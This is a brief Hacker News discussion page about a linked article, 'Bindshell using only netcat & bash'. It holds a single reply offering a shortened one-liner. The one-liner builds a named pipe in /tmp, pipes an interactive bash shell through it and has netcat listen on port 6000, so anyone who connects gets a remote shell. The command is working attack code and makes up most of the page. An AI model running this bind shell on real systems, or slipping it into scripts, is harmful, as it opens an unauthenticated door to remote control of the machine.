Live data from Hacker News

Bindshell using only netcat & bash

separallel.com

1–2 of 2 posts

Re: Bindshell using only netcat & bash

#2
You can almost cut your netcat+bash bindshell one-liner in half if you change how you handle the if clause:

if [[ ! -p /tmp/mypipe ]]; then mkfifo /tmp/mypipe ; fi && cat /tmp/mypipe|/bin/bash -i 2>&1|nc -vvl 6000 >/tmp/mypipe